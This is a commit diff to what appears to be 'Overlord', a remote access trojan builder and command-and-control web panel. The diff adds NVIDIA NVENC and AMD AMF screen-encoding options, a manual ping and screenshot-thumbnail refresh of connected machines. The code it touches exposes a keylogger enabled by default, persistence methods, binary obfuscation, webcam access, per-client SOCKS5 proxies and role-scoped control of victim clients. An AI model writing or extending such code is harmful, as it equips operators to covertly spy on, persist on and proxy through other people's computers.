AMF + NVENC control and support
This commit is contained in:
@@ -188,6 +188,8 @@ function setBuildField(field, value) {
|
||||
garbleLiterals: 'input[name="garble-literals"]',
|
||||
garbleTiny: 'input[name="garble-tiny"]',
|
||||
disableCgo: 'input[name="disable-cgo"]',
|
||||
enableNvenc: 'input[name="enable-nvenc"]',
|
||||
enableAmf: 'input[name="enable-amf"]',
|
||||
stripDebug: 'input[name="strip-debug"]',
|
||||
noPrinting: 'input[name="no-printing"]',
|
||||
enableWebrtc: 'input[name="enable-webrtc"]',
|
||||
@@ -455,6 +457,8 @@ function collectFormSettings() {
|
||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
||||
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
||||
enableNvenc: document.querySelector('input[name="enable-nvenc"]')?.checked ?? true,
|
||||
enableAmf: document.querySelector('input[name="enable-amf"]')?.checked ?? true,
|
||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||
@@ -522,6 +526,8 @@ function applyFormSettings(settings) {
|
||||
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
|
||||
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
|
||||
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
||||
if (settings.enableNvenc !== undefined) setCb('input[name="enable-nvenc"]', settings.enableNvenc);
|
||||
if (settings.enableAmf !== undefined) setCb('input[name="enable-amf"]', settings.enableAmf);
|
||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||
@@ -1692,6 +1698,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
const disableMutex = form.querySelector('input[name="disable-mutex"]')?.checked || false;
|
||||
const stripDebug = form.querySelector('input[name="strip-debug"]').checked;
|
||||
const disableCgo = form.querySelector('input[name="disable-cgo"]').checked;
|
||||
const enableNvenc = form.querySelector('input[name="enable-nvenc"]')?.checked ?? true;
|
||||
const enableAmf = form.querySelector('input[name="enable-amf"]')?.checked ?? true;
|
||||
const obfuscate = form.querySelector('input[name="obfuscate"]').checked;
|
||||
const enablePersistence = form.querySelector(
|
||||
'input[name="enable-persistence"]',
|
||||
@@ -1739,6 +1747,8 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||
|
||||
@@ -346,6 +346,23 @@ export async function sendCommand(clientId, action) {
|
||||
}
|
||||
}
|
||||
|
||||
export async function pingClientNow(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "ping", waitForResult: true }),
|
||||
});
|
||||
if (!res.ok) throw new Error(`ping failed ${res.status}`);
|
||||
const result = await res.json().catch(() => ({}));
|
||||
await loadWithOptions({ force: true, reorder: false });
|
||||
return Boolean(result?.updated);
|
||||
} catch (err) {
|
||||
console.error("Failed to refresh ping:", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchVoiceCapabilities(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
@@ -375,15 +392,26 @@ export async function requestPreview(clientId) {
|
||||
|
||||
export async function requestThumbnail(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/thumbnail`, {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, {
|
||||
method: "POST",
|
||||
headers: { "x-overlord-thumbnail-source": "manual" },
|
||||
});
|
||||
if (res.ok) {
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
await loadWithOptions({ force: true });
|
||||
setTimeout(() => loadWithOptions({ force: true }), 250);
|
||||
setTimeout(() => loadWithOptions({ force: true }), 800);
|
||||
if (data.updated && Number(data.version) > 0) {
|
||||
const escapedId = typeof CSS !== "undefined" && CSS.escape ? CSS.escape(clientId) : clientId;
|
||||
document.querySelectorAll(`[data-thumb-client="${escapedId}"]`).forEach((host) => {
|
||||
const img = host.querySelector("img[data-thumb-img]");
|
||||
if (!img) return;
|
||||
const url = `/api/clients/${encodeURIComponent(clientId)}/thumbnail?v=${Number(data.version)}`;
|
||||
host.dataset.thumbVersion = String(data.version);
|
||||
img.dataset.thumbUrl = url;
|
||||
img.src = url;
|
||||
img.style.display = "block";
|
||||
});
|
||||
}
|
||||
await loadWithOptions({ force: true, reorder: false });
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
renderCachedClients,
|
||||
startAutoRefresh,
|
||||
sendCommand,
|
||||
pingClientNow,
|
||||
requestPreview,
|
||||
requestThumbnail,
|
||||
markManualDisconnect,
|
||||
@@ -1032,6 +1033,15 @@ document.querySelectorAll(".dashboard-menu").forEach((details) => {
|
||||
|
||||
let dashboardThumbnailLoader = null;
|
||||
|
||||
function refreshDashboardThumbnail(clientId) {
|
||||
if (dashboardThumbnailLoader?.refreshNow(clientId)) {
|
||||
return;
|
||||
}
|
||||
// The loader initializes asynchronously; preserve manual refreshes made
|
||||
// before it is ready.
|
||||
requestThumbnail(clientId);
|
||||
}
|
||||
|
||||
async function isDashboardThumbnailEnabled() {
|
||||
try {
|
||||
const res = await fetch("/api/settings/thumbnails", { credentials: "include" });
|
||||
@@ -1105,8 +1115,8 @@ function initializeRenderer() {
|
||||
},
|
||||
openModal,
|
||||
requestPreview,
|
||||
requestThumbnail,
|
||||
pingClient: (id) => sendCommand(id, "ping"),
|
||||
requestThumbnail: refreshDashboardThumbnail,
|
||||
pingClient: pingClientNow,
|
||||
onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"),
|
||||
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
|
||||
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
|
||||
|
||||
@@ -518,6 +518,10 @@ export function createRenderer({
|
||||
|
||||
const thumbImg = e.target.closest(".thumb-img");
|
||||
if (thumbImg) {
|
||||
if (card.dataset.online === "true") {
|
||||
if (pingClient) pingClient(clientId);
|
||||
requestThumbnail(clientId);
|
||||
}
|
||||
if (thumbImg.src) openModal(thumbImg.src);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -157,11 +157,14 @@ export class ThumbnailLoader {
|
||||
}
|
||||
|
||||
refreshNow(clientId) {
|
||||
let touched = false;
|
||||
for (const rec of this.records.values()) {
|
||||
if (clientId && rec.clientId !== clientId) continue;
|
||||
rec.lastTriggerAt = 0;
|
||||
touched = true;
|
||||
}
|
||||
this.tick();
|
||||
return touched;
|
||||
}
|
||||
|
||||
applyVersion(element, rec) {
|
||||
|
||||
@@ -679,6 +679,22 @@
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-green-500 transition-colors">
|
||||
<input type="checkbox" name="enable-nvenc" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span><i class="fa-solid fa-microchip text-green-400 mr-2"></i>Include NVIDIA NVENC</span>
|
||||
<span class="text-xs text-slate-500">Native NVIDIA H.264 acceleration for Windows CGO builds</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-red-500 transition-colors">
|
||||
<input type="checkbox" name="enable-amf" class="w-4 h-4" checked />
|
||||
<div class="flex flex-col">
|
||||
<span><i class="fa-solid fa-microchip text-red-400 mr-2"></i>Include AMD AMF</span>
|
||||
<span class="text-xs text-slate-500">Native AMD H.264 acceleration for Windows CGO builds</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
|
||||
@@ -17,6 +17,8 @@ export type BuildConfig = {
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
enableNvenc?: boolean;
|
||||
enableAmf?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethods?: string[];
|
||||
|
||||
@@ -84,6 +84,8 @@ type BuildProcessConfig = {
|
||||
disableMutex?: boolean;
|
||||
stripDebug?: boolean;
|
||||
disableCgo?: boolean;
|
||||
enableNvenc?: boolean;
|
||||
enableAmf?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethods?: string[];
|
||||
@@ -398,22 +400,83 @@ function nvcodecHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "nvcodec", "nvEncodeAPI.h");
|
||||
}
|
||||
|
||||
function ensureNVCodecHeaderForWindowsCgo(
|
||||
function amfHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "amf", "include", "core", "Factory.h");
|
||||
}
|
||||
|
||||
const AMF_REPOSITORY = "https://github.com/GPUOpen-LibrariesAndSDKs/AMF.git";
|
||||
const AMF_REF = "v1.5.2";
|
||||
let amfHeaderProvision: Promise<void> | null = null;
|
||||
|
||||
function copyDirectory(source: string, destination: string): void {
|
||||
fs.mkdirSync(destination, { recursive: true });
|
||||
for (const entry of fs.readdirSync(source, { withFileTypes: true })) {
|
||||
const from = path.join(source, entry.name);
|
||||
const to = path.join(destination, entry.name);
|
||||
if (entry.isDirectory()) copyDirectory(from, to);
|
||||
else if (entry.isFile()) fs.copyFileSync(from, to);
|
||||
}
|
||||
}
|
||||
|
||||
async function ensureAMFHeaders(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
): void {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Native NVENC header: ${headerPath}\n`,
|
||||
level: "info",
|
||||
): Promise<void> {
|
||||
const headerPath = amfHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) return;
|
||||
|
||||
if (!amfHeaderProvision) {
|
||||
amfHeaderProvision = (async () => {
|
||||
const destination = path.join(clientDir, "third_party", "amf");
|
||||
const temporary = path.join(clientDir, "third_party", `.amf-${process.pid}-${Date.now()}`);
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `AMD AMF headers are not cached; fetching ${AMF_REF}...\n`,
|
||||
level: "info",
|
||||
});
|
||||
try {
|
||||
fs.mkdirSync(path.dirname(destination), { recursive: true });
|
||||
const clone = await $`git clone --depth 1 --filter=blob:none --sparse --branch ${AMF_REF} ${AMF_REPOSITORY} ${temporary}`.quiet().nothrow();
|
||||
if (clone.exitCode !== 0) throw new Error(clone.stderr.toString().trim() || "git clone failed");
|
||||
const sparse = await $`git -C ${temporary} sparse-checkout set --no-cone amf/public/include/ LICENSE.txt`.quiet().nothrow();
|
||||
if (sparse.exitCode !== 0) throw new Error(sparse.stderr.toString().trim() || "git sparse-checkout failed");
|
||||
fs.rmSync(destination, { recursive: true, force: true });
|
||||
fs.mkdirSync(destination, { recursive: true });
|
||||
copyDirectory(path.join(temporary, "amf", "public", "include"), path.join(destination, "include"));
|
||||
fs.copyFileSync(path.join(temporary, "LICENSE.txt"), path.join(destination, "LICENSE.txt"));
|
||||
} finally {
|
||||
fs.rmSync(temporary, { recursive: true, force: true });
|
||||
}
|
||||
if (!fs.existsSync(headerPath)) throw new Error(`AMF header was not created at ${headerPath}`);
|
||||
})().catch((error) => {
|
||||
amfHeaderProvision = null;
|
||||
throw error;
|
||||
});
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
|
||||
);
|
||||
await amfHeaderProvision;
|
||||
}
|
||||
|
||||
async function ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
enableNvenc: boolean,
|
||||
enableAmf: boolean,
|
||||
): Promise<void> {
|
||||
if (enableNvenc) {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (!fs.existsSync(headerPath)) {
|
||||
throw new Error(
|
||||
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
|
||||
);
|
||||
}
|
||||
sendToStream({ type: "output", text: `Native NVENC header: ${headerPath}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (enableAmf) {
|
||||
await ensureAMFHeaders(clientDir, sendToStream);
|
||||
const amfPath = amfHeaderPath(clientDir);
|
||||
sendToStream({ type: "output", text: `Native AMD AMF headers: ${amfPath}\n`, level: "info" });
|
||||
}
|
||||
}
|
||||
|
||||
function writeSgnTextArtifact(
|
||||
@@ -1056,7 +1119,12 @@ func runBoundFiles() {
|
||||
}
|
||||
|
||||
if (effectiveOs === "windows" && env.CGO_ENABLED === "1") {
|
||||
ensureNVCodecHeaderForWindowsCgo(clientDir, sendToStream);
|
||||
await ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir,
|
||||
sendToStream,
|
||||
config.enableNvenc !== false,
|
||||
config.enableAmf !== false,
|
||||
);
|
||||
}
|
||||
|
||||
let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : "";
|
||||
@@ -1230,6 +1298,8 @@ func runBoundFiles() {
|
||||
|
||||
// Base tags: always present regardless of build pass
|
||||
let baseTags: string[] = [];
|
||||
if (config.enableNvenc === false) baseTags.push("no_nvenc");
|
||||
if (config.enableAmf === false) baseTags.push("no_amf");
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
|
||||
@@ -169,6 +169,8 @@ export async function handleBuildRoutes(
|
||||
solRpcEndpoints,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc,
|
||||
enableAmf,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods,
|
||||
@@ -478,6 +480,8 @@ export async function handleBuildRoutes(
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
enableNvenc: enableNvenc !== false,
|
||||
enableAmf: enableAmf !== false,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethods: safePersistenceMethods,
|
||||
|
||||
@@ -48,6 +48,15 @@ export function dispatchPingBulk(target: ClientInfo, countValue: unknown): numbe
|
||||
return count;
|
||||
}
|
||||
|
||||
async function waitForManualPing(target: ClientInfo, sentAt: number, timeoutMs = 1500): Promise<boolean> {
|
||||
const deadline = Date.now() + timeoutMs;
|
||||
while (Date.now() < deadline) {
|
||||
if ((target.lastPongAt ?? 0) >= sentAt && target.lastPingNonce === undefined) return true;
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
export async function handleClientCommandRoute(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -87,8 +96,13 @@ export async function handleClientCommandRoute(
|
||||
let success = true;
|
||||
|
||||
if (action === "ping") {
|
||||
sendPingRequest(target, target.ws, "manual", 0);
|
||||
const sentAt = Date.now();
|
||||
const sent = sendPingRequest(target, target.ws, "manual", 0);
|
||||
metrics.recordCommand("ping");
|
||||
if (body?.waitForResult === true) {
|
||||
const updated = sent ? await waitForManualPing(target, sentAt) : false;
|
||||
return Response.json({ ok: true, sent, updated, pingMs: target.pingMs ?? null }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
} else if (action === "ping_bulk") {
|
||||
const count = dispatchPingBulk(target, body?.count);
|
||||
metrics.recordCommand("ping_bulk");
|
||||
|
||||
@@ -61,6 +61,18 @@ type ClientRouteDeps = {
|
||||
broadcastNotificationsCleared: (clientId: string) => void;
|
||||
};
|
||||
|
||||
function mergeLiveClientState(result: any) {
|
||||
return {
|
||||
...result,
|
||||
items: (result.items || []).map((item: any) => {
|
||||
const live = clientManager.getClient(item.id);
|
||||
return live
|
||||
? { ...item, online: true, lastSeen: live.lastSeen, pingMs: live.pingMs ?? item.pingMs }
|
||||
: item;
|
||||
}),
|
||||
};
|
||||
}
|
||||
|
||||
export async function handleClientRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -115,12 +127,12 @@ export async function handleClientRoutes(
|
||||
|
||||
if (user.role === "admin") {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (user.role === "operator" && isEnrollmentRequest) {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
const scope = getUserClientAccessScope(user.userId);
|
||||
@@ -132,7 +144,7 @@ export async function handleClientRoutes(
|
||||
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
|
||||
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
return Response.json(mergeLiveClientState(result), { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/clients/countries") {
|
||||
@@ -287,9 +299,7 @@ export async function handleClientRoutes(
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
|
||||
if (fresh) {
|
||||
await new Promise((r) => setTimeout(r, 300));
|
||||
} else {
|
||||
if (!fresh) {
|
||||
await requestThumbnailRegen(clientId);
|
||||
}
|
||||
clearThumbnailRequest(clientId);
|
||||
|
||||
@@ -17,7 +17,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type Hello, type Ping }
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong, handleScreenshotThumbnailResult } from "../../wsHandlers";
|
||||
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
@@ -789,6 +789,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
break;
|
||||
case "screenshot_result":
|
||||
handleScreenshotThumbnailResult(client, payload);
|
||||
deps.handleNotificationScreenshotResult(client.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
|
||||
@@ -247,6 +247,31 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleScreenshotThumbnailResult(info: ClientInfo, payload: any): boolean {
|
||||
const requested = isThumbnailRequested(info.id);
|
||||
if (!requested || payload?.error) return false;
|
||||
|
||||
let bytes: Uint8Array | null = null;
|
||||
if (payload?.data instanceof Uint8Array) {
|
||||
bytes = payload.data;
|
||||
} else if (payload?.data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array(payload.data);
|
||||
} else if (ArrayBuffer.isView(payload?.data)) {
|
||||
bytes = new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength);
|
||||
}
|
||||
if (!bytes?.byteLength) return false;
|
||||
|
||||
const rawFormat = String(payload?.format || "jpeg").toLowerCase();
|
||||
const format = rawFormat === "jpg" ? "jpeg" : rawFormat;
|
||||
if (format !== "jpeg" && format !== "webp") return false;
|
||||
|
||||
setLatestFrame(info.id, bytes, format);
|
||||
void requestThumbnailRegen(info.id).then((ok) => {
|
||||
if (ok) notifyThumbnailGenerated(info.id);
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
export function handleFrame(info: ClientInfo, payload: any): boolean {
|
||||
const bytes = payload.data as unknown as Uint8Array;
|
||||
const header = (payload as any).header;
|
||||
|
||||
Reference in New Issue
Block a user